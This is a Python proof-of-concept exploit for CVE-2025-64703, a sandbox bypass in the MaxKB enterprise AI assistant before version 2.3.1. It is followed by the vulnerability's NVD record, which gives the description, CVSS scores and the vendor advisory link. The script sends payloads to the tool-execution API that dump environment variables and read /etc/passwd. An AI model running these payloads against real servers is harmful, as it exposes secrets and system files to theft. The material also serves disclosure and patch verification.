CVE-2025-64703

# CVE-2025-64703 PoC - MaxKB Sandbox Bypass # Target: MaxKB < 2.3.1 import requests import json TARGET_URL = "http://target-server/api/tool/execute" API_KEY = "your-api-key-here" def exploit_sandbox_bypass(): """ Exploit for MaxKB sandbox bypass vulnerability Allows reading sensitive information from the system """ # Payload to read environment variables payload = { "code": "import os; print(os.environ)", "tool_name": "sensitive_reader" } headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Alternative payload for reading /etc/passwd alt_payload = { "code": "open('/etc/passwd').read()", "tool_name": "file_reader" } response2 = requests.post(TARGET_URL, json=alt_payload, headers=headers, timeout=10) print(f"\nFile Read Response: {response2.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2025-64703 MaxKB Sandbox Bypass PoC") print("=" * 50) exploit_sandbox_bypass()

{"cve": {"id": "CVE-2025-64703", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.623", "lastModified": "2025-12-04T14:55:30.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can get sensitive informations by Python code in tool module, although the process run in sandbox. Version 2.3.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.3.1", "matchCriteriaId": "AA83A5E9-B7E7-44CF-BBF2-E8CE07A734A2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-qwvm-x4xh-g2qq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}